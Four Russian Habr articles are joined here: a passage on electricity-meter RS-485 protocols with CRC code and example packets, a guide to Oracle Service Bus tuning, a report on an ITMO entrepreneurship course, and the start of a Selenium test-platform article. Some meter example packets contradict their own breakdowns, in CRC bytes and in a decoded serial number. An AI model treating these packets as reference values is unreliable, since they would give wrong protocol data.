Имеются модификации со встроенным источником питания: Меркурий 206 PRSN и Меркурий 206 PRSNO.
С этим счётчиком была связана одна проблема. Изначально мы питали его от напряжения 12В, от которого запитывался и наш контроллер. Но в процессе эксплуатации несколько счётчиков вышло из строя. Точнее они работали, но обмен данными по RS-485 пропал. Мы вскрыли несколько из них и обнаружили что там вышел из строя сам драйвер. Он питался через стабилизатор, выполненный на резисторе и стабилитроне. Так вот стабилитрон просто вышел из строя и всё напряжение шло непосредственно на драйвер.
Для исключения подобных случаев мы сделали у себя в контроллере отдельный выход на напряжение 10В для запитывания электросчётчиков. После этого было выпущено более 10 тыс. таких изделий и проблем с ними в этой части больше не было.
Теперь надо немного остановиться на протоколе обмена данного электросчётчика.
Он довольно простой и в чём-то похож на Modbus RTU.
Описание протокола можно найти [здесь](https://www.incotexcom.ru/files/em/docs/mercury-protocol-obmena-1.pdf).
Форматы запросов и ответов совпадают.
| | | | |
| --- | --- | --- | --- |
| Название поля | Условное обозначение | Длина поля (байт) | Примечание |
| Сетевой адрес | ADDR | 4 | Серийный номер счётчика (передаётся старшим байтом вперёд) |
| Команды | CMD | 1 | Двоичный код команды |
| Данные | - | 0…17 | Может отсутствовать (в зависимости от типа и назначения пакета) |
| Контрольная сумма | CRC16 | 2 | 2-х байтовый̆ циклический̆ избыточный̆ код, вычисляемый̆ по всем предшествующим байтам данного пакета (передаётся младшим байтом вперёд) |
CRC16 рассчитывается при помощи полинома 0xA001 и стартового значения 0xFFFF, точно так же, как в протоколе Modbus RTU.
Приведу пример функций расчёта контрольной суммы, которые используются у нас в проектах:
```
typedef struct
{
uint16_t CRC;
uint16_t Polynom;
} TCRC16;
void InitCRC16(TCRC16 *pCRC, uint16_t pInitValue, uint16_t pPolynom)
{
pCRC->CRC = pInitValue;
pCRC->Polynom = pPolynom;
}
void UpdateCRC16(TCRC16 *pCRC, uint8_t pValue)
{
pCRC->CRC ^= pValue;
for (uint8_t i = 8; i > 0; i--)
if (pCRC->CRC & 1)
pCRC->CRC = (pCRC->CRC >> 1) ^ pCRC->Polynom;
else
pCRC->CRC >>= 1;
}
```
К сожалению, в данном протоколе обмена отсутствует какой-либо префикс начала пакета данных, поэтому определить его можно только по времени отсутствия обмена данными на линии, необходимого для передачи 5-6 байт.
Мы используем следующие команды для этого счётчика:
**0x27 (чтение тарифов)** – в ответ получаем пакет из 16 байт данных по 4 байта на каждый тариф. При этом данные передаются в двоично-десятичном формате с точностью до 10 Вт.
**Запрос:**`00 00 04 D2 27 79 7B
00 00 04 D2 – адрес счётчика
27 – команда
79 7B – CRC16`
**Ответ:**`00 00 04 D2 27 00 02 27 50 00 02 27 50 00 02 27 50 00 02 27 50 A5 FB
00 00 04 D2 – адрес счётчика
27 – команда
00 02 27 50 – тариф №1 (227,5 кВт × ч)
00 02 27 50 – тариф №2 (227,5 кВт × ч)
00 02 27 50 – тариф №3 (227,5 кВт × ч)
00 02 27 50 – тариф №4 (227,5 кВт × ч)
A5 FB – CRC16`
**0x63 (чтение U, I, P)** – получаем значения сетевого напряжения, тока и мощности потребления. Данные также передаются в двоично-десятичном формате.
Величина напряжения передаётся с коэффициентом 10, тока – 100, мощности – без коэффициента.
**Запрос:**`00 00 04 D2 63 79 48
00 00 04 D2 – адрес счётчика
63 – команда
79 48 – CRC16`
**Ответ:**`00 00 04 D2 63 23 00 01 50 00 01 00 A5 FB
00 00 04 D2 – адрес счётчика
63 – команда
23 00 – напряжение (230,0 В)
01 50 – ток нагрузки (1,5 А)
00 01 00 – потребляемая мощность (100 Вт)
A5 FB – CRC16`
**0x81 (F, текущего тарифа и битовых флагов)** – из ответа данной команды нас интересуют только первые два байта, представляющие частоту в двоично-десятичном формате. Частота передаётся с коэффициентом 100.
**Запрос:**`00 00 04 D2 81 F9 01
00 00 04 D2 – адрес счётчика
81 – команда
09 01 – CRC16`
**Ответ:**`00 00 04 D2 81 50 50 3A 00 00 00 00 00 00 CC A4
00 00 04 D2 – адрес счётчика
81 – команда
50 50 – частота (50,5 Гц)
3A – битовые флаги (0 бит – неравенство токов, 1 бит – обратная энергия, остальные биты не используются).
00 00 00 00 00 00 – резерв
CC A4 – CRC16`
### Энергомера «СЕ102»
Этот электросчётчик недорогой, но имеет меньше возможностей. В частности, он не позволяет выдавать значения напряжения сети, частоты, тока и мощности потребления нагрузкой.
Поэтому с данного счётчика мы считываем только значения тарифов и полное значение серийного номера. Полное потому, что адресация счётчика осуществляется по пяти последним цифрам серийника, а сам он имеет длину до 16 десятичных цифр.
Счётчик подключается к считывающему устройству также четырьмя проводами: линии A, B интерфейса RS-485, питание и «земля».
Скорость обмена данными 9600 бит/сек без контроля чётности.
Напряжение питания, указанное в документации: 12В.
Внутри для питания драйвера RS-485 используется классический линейный стабилизатор 78L05, проблем с выходом из строя модуля связи на данных счётчиках зафиксировано не было. Реально питать его можно напряжением от 7 до 18В.
Теперь рассмотрим протокол обмена. Тут он более навороченный.
Описание его находится [здесь](http://www.energomera.ru/documentations/product/ce201r51_rp.pdf).
Формат запроса и ответа следующий:
| | | |
| --- | --- | --- |
| Условное обозначение | Длина поля (байт) | Примечание |
| END | 1 | Байт начала пакета |
| OPT | 1 | Тип адресации и контрольной суммы |
| AddrD | 2 | Адрес электросчётчика (последние 5 цифр серийного номера) |
| AddrS | 2 | Адрес устройства, отправившего запрос. В нашем случае адрес контроллера. |
| PAL | N | Структура данных |
| CRC8 | 1 | Контрольная сумма |
| END | 1 | Байт окончания пакета |
**END** (0xС0) – флаг, обозначающий начало и конец пакета. Если в пакете встречается байт с кодом, идентичным END, то такой байт замещается на последовательность из 2 байтов: 0xDB и 0xDC. Специальный символ 0xDB называется ESC-символом. Если в пакете встречается байт с кодом ESC-символа, то он замещается двухбайтовой последовательностью 0xDB, 0xDD.
**OPT** (0x48): включена 16-битная адресация и 8-битный циклический код.
**AddrD** – адрес назначения (счётчика), передаётся младшим байтом вперёд.
**AddrS** (253) – адрес источника, передаётся младшим байтом вперёд.
**CRC8** – контрольная сумма пакета, рассчитывается до применения ESC-символов для всех байтов, исключая первый и последний END. Вычисление производится с использованием полинома 0xB5 и стартового значения 0x00.
Внутренняя структура сообщения **PAL** при запросе следующая:
| | | |
| --- | --- | --- |
| Условное обозначение | Длина поля (байт) | Примечание |
| Passw | 4 | Пароль доступа |
| Serv | 1 | Сервисное поле |
| CmdH | 1 | Старший байт кода команды |
| CmdL | 1 | Младший байт кода команды |
| Data | N | Данные |
**Passw** (777777) – пароль доступа к информации.
Формат поля **Serv**:
| | | |
| --- | --- | --- |
| Условное обозначение | Бит | Примечание |
| Direct | 7 | Тип обмена (1 – запрос, 0 – ответ) |
| ClassAccess | 6…4 | Класс доступа к счётчику (0x05) |
| MessageLen | 3…0 | Количество байт, которые помещены в данные |
**CmdH**, **CmdL** – старший и младший байты кода команды счётчику.
**Data** – данные.
Внутренняя структура сообщения **PAL** при ответе повторяет структуру запроса, но только адреса AddrD и AddrS меняются местами, а поле пароля отсутствует:
| | | |
| --- | --- | --- |
| Условное обозначение | Длина поля (байт) | Примечание |
| Serv | 1 | Сервисное поле |
| CmdH | 1 | Старший байт кода команды |
| CmdL | 1 | Младший байт кода команды |
| Data | N | Данные |
Расчёт контрольной суммы осуществляется следующими функциями:
```
uint8_t emCRC8;
uint8_t emPolynom8;
void emUpdateCRC8(uint8_t pValue)
{
emCRC8 ^= pValue;
for (uint8_t i = 8; i > 0; i--)
{
if ((emCRC8 & 128) > 0)
emCRC8 = (uint8_t) (emCRC8 << 1) ^ emPolynom8;
else
emCRC8 <<= 1;
}
}
```
Мы используем следующие команды для данного счётчика:
**0x0130 (чтение тарифа)**. В запросе передаём два значения: индекс глубины опроса (0 – текущие значения) и номер тарифа (1…5).
**Запрос:**`C0 48 D2 04 FD 00 31 DE 0B 00 D2 01 30 00 02 33 C0
C0 – END
48 – OPT
D2 04 – адрес счётчика 1234
FD 00 – адрес контроллера 253
31 DE 0B 00 – Passw 777777
D2 – запрос с двумя байтами в пакете
01 – AddrH
30 – AddrL
00 – текущие значения
02 – тариф №2
33 – CRC8
C0 – END`
**Ответ:**`C0 48 FD 00 D2 04 57 01 30 10 08 21 DE 58 00 00 94 C0
C0 – END
48 – OPT
FD 00 – адрес контроллера 253
D2 04 – адрес счётчика 1234
57 – ответ с семью байтами в пакете
01 – AddrH
30 – AddrL
10 08 21 – текущая дата в двоично-десятичном формате
DE 58 00 00 – значение тарифа №2 (227,5 кВт × ч)
94 – CRC8
C0 – END`
**0x011A (чтение серийного номера)**. Серийник считывается за два запроса с передачей одного байта, который указывает какую часть серийного номера считать, младшую – 0 или старшую – 1. Каждая часть состоит из восьми символов.
**Запрос:**`C0 48 D2 04 FD 00 31 DE 0B 00 D1 01 1A 01 CB C0
C0 – END
48 – OPT
D2 04 – адрес счётчика 1234
FD 00 – адрес контроллера 253
31 DE 0B 00 – Passw 777777
D1 – запрос с одним байтом в пакете
01 – AddrH
1A – AddrL
01 – старшая часть
CB – CRC8
C0 – END`
**Ответ:**`C0 48 FD 00 D2 04 58 01 1A 30 30 30 30 30 30 30 00 E0 C0
C0 – END
48 – OPT
FD 00 – адрес контроллера 253
D2 04 – адрес счётчика 1234
58 – ответ с восемью байтами в пакете
01 – AddrH
1A – AddrL
30 30 30 30 30 30 30 00 – старшая часть серийного номера (0000000)
E0 – CRC8
C0 – END`
**Запрос:**`C0 48 D2 04 FD 00 31 DE 0B 00 D1 01 1A 00 7E C0
C0 – END
48 – OPT
D2 04 – адрес счётчика 1234
FD 00 – адрес контроллера 253
31 DE 0B 00 – Passw 777777
D1 – запрос с одним байтом в пакете
01 – AddrH
1A – AddrL
00 – младшая часть
7E – CRC8
C0 – END`
**Ответ:**`C0 48 FD 00 D2 04 58 01 1A 34 33 32 31 30 30 30 30 DB DD C0
C0 – END
48 – OPT
FD 00 – адрес контроллера 253
D2 04 – адрес счётчика 1234
58 – ответ с восемью байтами в пакете
01 – AddrH
1A – AddrL
30 30 30 30 30 30 30 00 – младшая часть серийного номера (0000000)
DB DD – CRC8 (0xDB с учётом ESC-последовательности)
C0 – END`
### Энергомера «СЕ102М»
Данный электросчётчик интересен двумя моментами.
Во-первых, он имеет встроенный источник питания для порта RS-485, вследствие чего, подключение к контроллеру осуществляется всего двумя проводами – A и B.
Скорость обмена данными 9600 бит/сек, 7 бит данных, контроль чётности.
Во-вторых, он может работать без адресации, поэтому не нужно указывать никаких цифр серийного номера, чтобы снимать с него данные.
Протокол обмена этого электросчётчика соответствует ГОСТ Р МЭК 61107-2001 «Обмен данными при считывании показаний счетчиков, тарификации и управлении нагрузкой». Он достаточно навороченный, но в стандарте описан весьма тщательно, поэтому полностью приводить здесь я его не буду, а сосредоточусь лишь на основных моментах и примерах запросов.
Описание команд применительно к данному счётчику приведено [здесь](http://sp.energomera.ru/documentations/product/ce102m_re_full.pdf).
В первую очередь надо отметить, что протоколом предусмотрены следующие управляющие символы:
ACK (0x06) – подтверждение
SOH (0x01) – начало заголовка
STX (0x02) – начало текста
ETX (0x03) – конец текста
Хотя протокол и основан на системе «запрос-ответ», но единого формата пакетов тут нет. Более того, одни запросы и ответы могут содержать контрольную сумму, а другие передаются без неё!
Контрольную сумму далее будем обозначать как BCC. Она рассчитывается как сумма всех байтов за исключением начального SOH или STX.
Чтобы что-то считать со счётчика в первую очередь нужно установить связь специальной командой, затем отправить нужные команды на считывание параметров, после чего другой командой завершить обмен.
Разберём эти команды подробнее. В примерах далее пробелы будут разделять символы команд для наглядности, реально они не передаются. Специальным символы будут указываться своими аббревиатурами, а различные числовые значения в 16-ричном формате с префиксом 0x:
**Начало передачи данных без адреса**. С это команды начинается обмен:
**Запрос:**
`/?! 0x0D 0x0A`
**Ответ:**
`/EKT5CE102Mv01 0x0D 0x0A`
**Подтверждение начала обмена:
Запрос:**`ACK 051 0x0D 0x0A
0 – нормальная процедура протокола
5 – скорость 9600 бод
1 – режим программирования.`
**Ответ:**
`SOH P0 STX (1234) ETX BCC
P – команда пароля
0 – без пароля
(1234) – серийный номер в скобках`
**Чтение величины напряжения:**
**Запрос:**`SOH R1 STX VOLTA() ETX BCC
R – команда чтения
1 – чтение в формате ASCII
VOLTA() – чтение напряжения`
**Ответ:**
`STX VOLTA(230.1) 0x0D 0x0A ETX BCC
VOLTA(230.1) – величина напряжения в скобках`
**Чтение величины тока нагрузки, мощности и частоты сети**
Данные команды аналогичный команде чтения напряжения за исключением текстового названия кода команды:
CURRE() – ток нагрузки
POWEP() – мощность нагрузки
FREQU() – частота электрической сети
**Чтение значения тарифов:**
**Запрос:**
`SOH R1 STX ET0PE(02) ETX BCC
ET0PE – команда нужного тарифа. Нумерация начинается с 02. Индекс 01 предназначен для считывания суммарного значения всех тарифов`
**Ответ:**
`STX ET0PE(118.74) 0x0D 0x0A ETX BCC
ET0PE(118.74) – значение тарифа в скобках`
**Завершение обмена:**
**Запрос:**
`SOH B0 ETX BCC
B – команда выхода
0 – признак завершения обмена`
Ответа на данную команду нет.
### IEK «STAR 104/1»
Данный электросчётчик имеет много схожего с вышеописанными моделями. Он подключается к считывающему устройству четырьмя проводами: линии A, B интерфейса RS-485, питание и «земля».
Скорость обмена данными 9600 бит/сек без контроля чётности.
Напряжение питания может быть в диапазоне от 10 до 24В.
Для считывания данных следует обязательно использовать адресацию по пяти последним цифрам серийного номера.
Протокол обмена этого электросчётчика собственный. К сожалению, в открытом доступе его описание мне найти не удалось, поэтому мы обратились к производителю. Всего через неделю после запроса нам на электронную почту прислали текстовый документ с подробным описанием протокола. Никаких NDA подписывать не потребовалось. Даже никто не уточнил зачем он нам нужен.
Итак, разберём необходимые нам команды.
Формат запроса и ответа следующий:
| | | | |
| --- | --- | --- | --- |
| Условное обозначение | Длина поля (байт) | Значение | Примечание |
| Start1 | 1 | 0x73 | | |
| Start2 | 1 | 0x55 | | |
| Parameters + Len | 1 | С V0 D L4 L3 L2 L1 L0 | Для этих полей вычисляется CRC8 | Это подлежит байтстаффингу |
| Reserved | 1 | 0x00 |
| Address Destination | 2 | |
| Address Source | 2 | |
| Command | 1 | |
| Password / Status | 4 | |
| Data | 0…31 | |
| CRC8 | 1 | | |
| Stop | 1 | 0x55 | | |
**Start1, Start2**: начало пакета.
**Stop**: конец пакета.
**Parameters**:
бит C – кодирование данных (1 – данные закодированы, 0 – нет).
бит V0 – вид структуры пакета (0 – пакет для устройств с малыми вычислительными мощностями (счётчиков), 1 – пакет для устройств с достаточными вычислительными мощностями (УСПД).
бит D – направление движения пакета (1 – запрос к устройству, 0 – ответ устройства).
биты L4…L0 –длина поля Data.
**Address Destination**: адрес устройства.
**Address Source**: адрес программы опроса, всегда равен 0xFFFF.
**Command**: код команды.
**Password / Status**: пароль для пакета запроса / статус для пакета ответа. Пароль заполняется только для пакетов, которые адресованы устройству. Когда устройство отвечает на запрос, оно заполняет это поле статусными значениями, это могут быть флаги уведомления об авариях в устройстве и другие информационные идентификаторы, к примеру код ошибки выполнения команды.
**Data**: поле данных. Оно может быть пустым, если в нём нет необходимости. Многобайтные значения передаются младшим байтом вперёд. Все дробные значения представляются как целые, с жёстко фиксированным положением запятой, согласно описанию структуры данных.
Контрольная сумма CRC8 вычисляется с использованием полинома 0хA9 и стартового значения 0x00.
Пакет перед отправкой подлежит обработке механизмом байтстаффинга, а при приёме – обратного байтстаффинга.
Байтстаффингу подвергаются все байты пакета за исключением стартовых и стопового.
При байтстаффинге анализируется каждый байт, и:
0х55 заменяется на 0х73 0х11
0х73 заменяется на 0х73 0х22
При обратном байтстаффинге проводится противоположная замена.
### ИТОГИ
Рассмотрев эти четыре модели электросчётчиков можно сделать вывод о большом разнообразии протоколов обмена. Мне больше всего понравились реализации от Инкотекс и IEK. Они простые, бинарные, без лишних заморочек.
Жаль только, что производители не пришли ещё к какой-то единой реализации.
А пока на данном эмуляторе мы тестируем все наши изделия во всём возможном диапазоне напряжений, токов, частоты и мощности.
Программа эмулятора представляет из себя экран с настройками и выбором COM‑порта, через который будет осуществляться обмен. Поддерживаются все указанные выше электросчётчики.
 Менять любые параметры можно прямо в процессе работы, и тут же видеть результат:
Скачать эмулятор можно по [ссылке](https://spd.net.ru/download-file?id_topic=138). | https://habr.com/ru/post/576790/ | null | ru | null |
# Ускоряем OSB
Статья подготовлена Дмитрием Овчаренко, архитектором Департамента прикладных финансовых систем компании «Инфосистемы Джет»
#### Предвидя проблему
Приступая к разработке прокси-сервиса на Oracle Service Bus, следует принимать во внимание условия использования этого сервиса. Например, если разрабатываемый процесс будет участвовать во множестве популярных операций или использоваться большим числом пользователей. В случае, например, запроса информации для первой страницы после логина пользователя на сайте следует сразу придерживаться соображений оптимального кода с точки зрения производительности.
В процессе написания трансформаций и всех обращений к путям внутри сообщения не поленитесь указать [1] после каждого узла в XPath
```
$Get_Client_Info_Output/ns1:ListOfContact[1]/ns1:Contact[1]/ns1:rName[1]
```
Это позволит обрабатывать выражение как обращение к единичным элементам структуры, а не к множественным, как это подразумевается в общем случае.
Если некоторые элементы, спрятанные в глубине структуры, используются в преобразованиях многократно, их значение стоит записать в переменную внутри трансформации XQuery, которой далее можно пользоваться:
```
let $name := $Get_Client_Info_Output/ns1:ListOfContact[1]/ns1:Contact[1]/ns1:rName[1]
```
В то же время в Message Flow следует избегать создания лишних переменных и желательно использовать , а не , поскольку сама парадигма OSB приветствует именно трансформацию сообщения. Под каждую новую переменную будет выделяться память, что занимает время, а оптимизация ее расхода поможет и при оптимизации производительности.
Базовый процесс обработки сообщения (Message Flow) с точки зрения OSB – это вызов одного бизнес-сервиса с помощью  (или подобных действий) и передача информации запрашивающей стороне с требуемыми преобразованиями. В таком случае обработка входящего потока до вызова бизнес-сервиса идет в одном потоке (Thread), после вызова поток возвращается в пул свободных, ответ бизнес-сервиса обрабатывается в другом, новом, потоке, получаемом из пула. При таком процессе блокировок и простоя потоков не возникает.
Если же без дополнительных вызовов с помощью  не обойтись, Service Callout следует отдать быстрые легковесные запросы, понимая, что каждый вызов Service Callout потребует выделения для него отдельного потока из пула, а основной поток в это время будет простаивать. При таком подходе возможны блокировки, и для их избежания можно воспользоваться отдельными пулами потоков, предоставляемыми механизмом Work Manager. О Work Manager расскажем чуть позже.
#### Столкнувшись с бедой
В процессе эксплуатации наш идеально написанный прокси-сервис стал тормозить, люди заходят на сайт целую вечность, расстраиваются и идут громить сервисную шину.
Не всегда шина бывает виновата в медленной работе, под бизнес-сервисами лежат реальные системы, и они могут тяжело и неповоротливо обрабатывать запросы. Уличить их в таком негативе просто. Достаточно воспользоваться механизмом Pipeline Monitoring. Он включается для прокси и бизнес-сервисов во вкладке Operational Settings -> Monitoring -> Enable Pipeline Monitoring at (выберите Service) level or above
Выбор параметра Aggregation Interval отвечает периоду времени, за которое с текущего момента будут записываться и усредняться данные. Для мониторинга промышленного решения можно выбирать большие интервалы – сутки и более, для нагрузочного тестирования – сопоставимые со временем теста.
При этом для ускорения работы следует отключать логирование как внутри сервиса с использованием , так и внешнее – во вкладке Operational Settings. Логи не только расходуют много места в промышленной системе, но и существенно тормозят процесс и могут даже вызвать блокировки потоков.
Результаты включенного мониторинга можно увидеть в экране Operations –> Service Health
На приведенном скриншоте мы видим, что вызов SessionManager выполняется почти мгновенно, что не удивительно – ведь это небольшое Java-приложение, развернутое в том же домене WebLogic. Бизнес-сервис Mock в среднем выполняется за 61 миллисекунду, а вот GetClientInfo требует больше полутора секунд – это большое бизнес-приложение с большим количеством данных, тут придется повозиться, чтобы ускорить запрос. На фоне таких таймингов задержки, вносимые OSB, минимальны.
#### Но если надо быстрее
Мастер развертывания OSB спросит, устанавливать ли приложение в промышленном режиме, не будем отказываться от заводских оптимизаций, а после установки первым делом дадим OSB-серверу побольше памяти, оставив операционке гигабайт, остальным managed-серверам – по потребностям, и выставим начальную и конечную память одинаковым значением
```
-Xms10G -Xmx10G.
```
Остальные параметры – настройки MaxPermSize или Garbage Collector – не дадут существенных приростов производительности.
Второй существенный механизм, который может спасти тонущие в потоке запросов сервисы, – Work Manager. Зайдите в консоль WebLogic, выберите Environment -> Work Managers.
Создайте отдельные Work Manager для самых популярных прокси-сервисов, особенно для тех, которые используются другими сервисами в Service Callout, укажите Minimum Threads Constraint, например 40 (это число подбирается в ходе нагрузочных тестов) и поставьте галочку Ignore Stuck Threads. Это является нормальным для OSB и рекомендуется вендором.
А если наши бедные популярные прокси-сервисы тонут настолько, что оказывают влияние на остальные интеграционные процессы, которым не хватает ресурсов, стоит рассмотреть использование Work Managers с параметром Capacity Constraint – они не дадут выполняться одновременным запросам больше указанного числа. Превышающие запросы будут отброшены без обработки.
Назначьте созданные Work Manager прокси-сервисам OSB. Work Manager выбирается в разделе HTTP Transport Configuration -> Dispatch Policy
#### Нагрузим
Вместо заключения отметим, что без нагрузочного теста тюнинг производительности провести непросто, на работающей промышленной системе не поиграешь с параметрами. Существует много продуктов для выдачи нагрузки на веб-сервисы. В качестве начального стоит порекомендовать SOAP-UI, он способен дать достаточное количество запросов для отслеживания результатов настройки. Если же нужны более продвинутые решения – HP Load Runner или Oracle Application Testing Suite – они потребуют временных затрат на то, чтобы с ними разобраться, и возможно, нужно будет попросить профессионального тестировщика написать для вас тест, пока вы проставляете [1] после каждого узла в XPath.
Мы будем рады вашим конструктивным комментариям. | https://habr.com/ru/post/269649/ | null | ru | null |
# Курс «Основы технологического предпринимательства» в ИТМО
С ноября этого года в университете ИТМО проходит курс «Основы технологического предпринимательства»[Technology Entrepreneurship]. Ведут его Кирилл Болгаров и Илья Березовский.
Кратко о курсе рассказывается на сайте [qdinvest.ru](http://qd.ifmo.ru/qd/bschool/eship).
`Цель курса: развить инновационное/ нестандартное мышление, познакомить с современными методиками решения творческих/ изобретательских задач. Заложить основы предпринимательской психологии, уметь подготовить технико-экономическое обоснование проекта для инвестора.
Темы занятий:
- Особенности психологии предпринимателя. Отличительные черты: предпринимателями не рождаются - ими становятся! В курсе используются матрериалы Berkley Tech Entrepreneurship
- Как делается бизнес: технологии + креатив, бизнес - модель - с чего начать?
- Истории успеха (Google начинался в студенческом общежитии, Apple – в гараже)
- Как придумывать инновации? Используются интересные методики из мирового опыта: как изобретать заново («reinvent») уже давно существующие, ставшие привычными вещи.
– Как создать успешную команду? Как подобрать подходящих людей, создать атмосферу, выбрать из множества решений приоритетные и т. д. Как управлять работой членов команды?
- Как решать нестандартные задачи (на базе теории решения изобретательских задач и других эвристических методов).
- Как привлекать инвестиции? Мировой опыт и российские возможности.
Теоретические занятия чередуются с практическими (кейсы, ролевые игры, мозговые штурмы и пр.).`
Курс проходит обкатку. Т.е. проходит он впервые. Заявленные темы совпадают с тем что есть на самом деле. Часто бывают гости, которые рассказывают какой-нибудь топик, делятся опытом. Кирилл и Илья рассказывают очень интересно. Слушателей трудно назвать участниками, наверное потому что мало таки у кого есть свои проекты. А вот ведущие и приглашенные гости имеют обширный опыт.
Подкастов и видеокастов нет. Возможно курс еще не достиг необходимой высоты, но если будет кому-то интересно, могу описывать чем занимались на занятии.
10го декабря говорили об управлении командой. От сферы деятельности абстрагировались. Конкретных советов нет.
Гость по имени Игорь рассказал об управлении рисками. О выступающем ничего не могу сказать, кроме того что через пару месяцев у команды, которой он руководит выйдет онлайн игрушка. Тема управление рисками вызвала интерес среди слушателей.
До конца года еще будут проходить встречи, а дальше пока неизвестно. Понятно, что дальше курс будет платным. Наверное это прибавит ему в качестве, хотя и сейчас бывают достаточно интересные занятия, как последнее.
UPD: Да простят меня боги веба, есть еще у это курса страница по этому адресу [в контакте](http://vkontakte.ru/groups.php?act=s&gid=5000398). | https://habr.com/ru/post/46686/ | null | ru | null |
# Создание инструмента для быстрого и эффективного написания автотестов на Selenium
> ***Фундаментальный строительный блок автоматизации – тестирование***
>
> *Род Джонсон*
Я не амбассадор автоматизации тестирования веб интерфейсов, однако сей очерк скорее будет полезен камрадам, уже имеющим опыт в этой сфере.
Для совсем новичков также будет полезно, т.к. я предоставляю исходный код, где можно посмотреть, как в конечном продукте организовано взаимодействие с селениумом.
Я расскажу о том, как с нуля, имея небольшой опыт разработки, написал платформу для запуска тестов, и о самой платформе. Сам я считаю, что мой продукт получился весьма эффективным, а значит будет многим полезен и имеет место для рассмотрения.
Концепции
---------
Процесс тестирования зависит от информационной системы.
Для поминания моей концепции, необходимо понять на какие системы я ориентируюсь в первую очередь – это те системы, где обычно существуют конкретные линейные бизнес-процессы, которые и ставятся ключом при проведении регрессионных тестов.
Итак, система типа srm. Ключевая бизнес-сущность – коммерческие предложения поставщика. Ключевое внимание при проведении регрессионного тестирования – целостность бизнес-процесса.
Бизнес-процесс начинается от регистрации поставщика в системе, далее идет создание коммерческого предложения – идет на этап рассмотрения, который производится различными типами внутренних пользователей (и для каждого пользователя уникальный интерфейс) до возврата решения о рассмотрения предложения поставщику.
Получается, что мы проходим через ряд разных интерфейсов, и практически всегда работаем с разными. На деле – если просто взглянуть на это прямо – это похоже на просмотр видеокассеты – т.е. это именно процесс, имеющий начало и конец, и он абсолютно линейный – никаких ветвлений, при написании теста мы всегда знаем ожидаемый результат. Т.е. я хочу сказать, что уже глядя на это картину, можно заключить, что сделать тесты полиморфными вряд ли получится. Ввиду этого при создании платформы для запуска тестов, ключевым фактором я поставил скорость написания тестов.
**Концепции, которые я перед собой поставил:**
1. Автотест должен создаваться максимально быстро на сколько это возможно. Если добиться этого качественно, то остальные аспекты, такие как надежность и удобство использования, должны прийти сами собой.
2. Тесты должны быть объявлены декларативно и жить отдельно от кода. Иного варианта я даже не увидел. Это увеличивает скорость написания, т.к. при наличие готового интерпретатора — нашей платформы, не надо потом ничего дописывать, не надо лезть лишний раз в код – вообще после готовой платформы по IDE можно забыть. Так тесты проще сопровождать. В таком виде их проще научить писать, т.к. не нужны навыки разработки, а лишь понимание языка разметки. В таком виде они понятны всем участникам процесса.
**От чего я решил отказаться уже на старте:**
1. НЕ оборачивать свою систему в тестовый фреймворк. Запустить выполнение того или иного процесса можно и без тестового фреймворка. «Ты хочешь изобрести велосипед!», — скажут многие. Я рассуждаю по-другому. Популярные используемые тестовые фреймворки создавались в первую очередь для тестирования кода изнутри, а мы собираемся тестировать внешнюю часть системы снаружи. Это как если у меня есть шоссейный велосипед, а мне нужно спуститься с горы по бездорожью (грубо, но ход мыслей отражает). В общем фреймворк будем писать сами — с блек джеком и … (хотя я в курсе что, например, JUnit 5 уже в гораздо большей степени адаптирован под такого рода задач).
2. Отказ от использования оберток для селениума. Собственно, ключевая библиотека сама по себе небольшая. Чтобы понять, что нужно использовать 5 процентов ее функциональности, при этом перелопатив ее полностью, потребуется несколько часов. Хватит везде искать способ писать меньше кода и приучать себя к горшку. В современном мире это желание часто приводит к абсурду и почти всегда дает ущерб гибкости (я имею ввиду именно подходы к «написать меньше кода» а не случаи архитектурных фреймворков).
3. Красивое оформление результатов не нужно. Внес данный пункт, т.к. уже не однократно сталкиваюсь с этим. Когда автотест выполнился, мне нужно знать 2 вещи: общий результат (положительный/отрицательный), и, если была ошибка – где именно. Возможно еще надо вести статистику. Все остальное в плане результатов – АБСОЛЮТНО не существенно. Рассматривать красивое оформление как существенный плюс, либо тратить на это красивое оформление время на начальных этапах – лишние понты.
Немного еще расскажу об уровне разработки в компании и условиях создания инструмента дабы до конца внести в ясность в некоторые детали.
В силу неких конфиденциальных обстоятельств я не раскрываю компанию, где работаю.
В нашей компании разработка существует уже далеко не первый год, и стало быть все процессы уже давно налажены. Однако, они сильно отстают от современных тенденций.
Все представители айти понимают, что надо покрывать код тестами, писать сценарии автотестов в момент согласования требований к будущей функциональности, гибкие технологии существенно экономят время и ресурсы, а CI который просто берет и упрощает жизнь. Но это все пока только медленно доходит до нас…
Так и служба контроля качества ПО – все тесты выполняются мануально, если взглянуть на процесс «сверху» – то это «горлышко бутылки» всего процесса разработки.
Описание сборки
---------------
Платформа написана на языке Java с использогванием JDK 12
Основные инфраструктурные инструменты — Selenium Web Driver, OJDBC
Для работы приложения на ПК должен быть установлен браузер FireFox версии выше 52
#### Состав сборки приложения
С приложением в обязательном порядке идет 3 папки и 2 файла:
• папка **BuildKit** — содержит:
* jdk12, при помощи которого осуществляется запуск приложения (JVM);
* geckodriver.exe — для работы Selenium Web Driver с браузером FireFox;
* SprintAutoTest.jar — непосредственно инстанс приложения
• папка **Reports** — в нее сохраняются отчеты после завершения выполнения приложением тест кейса. Также должна содержать папку ErrorScreens, куда сохраняется скриншот в случае возникновения ошибки
• папка **TestSuite** — веб пакеты, яваскрипты, набор тест кейсов (о заполнении данной папке будет подробно рассказано отдельно)
• файл config.properties — содержит конфиг для подключения к БД Oracle и значения явных ожиданий для WebDriverWait
• starter.bat — файлик для запуска приложения (возможен автоматический запуск приложения без ручного указания TestCase если в конце ввести в качестве параметра ввести имя TestCase).
Краткое описание работы приложения
----------------------------------
Приложение может быть запущено с параметром (имя TestCase) либо без него — в этом случае необходимо ввести имя тест кейса в консоли самостоятельно.
*Пример общего содержания bat файла, для запуска **без параметра**: start «AutoTest launcher» %cd%\BuildKit\jdk-12\bin\java.exe -Xmx768M -jar --enable-preview %cd%\BuildKit\SprintAutoTest.jar*
При общем запуске приложения, оно просматривает xml файлы, находящиеся в директории "\TestSuite\TestCase" (без просмотра содержания вложенных папок). При этом происходит первичная валидация xml файлов на корректность структуры (т.е. что все теги с точки зрения разметки xml указаны верно), и берутся названия, указанные в теге «testCaseName», после чего пользователю предлагается ввести один из возможных вариантов имен имеющихся тест кейсов. В случае ошибочного ввода система попросит ввести имя повторно.
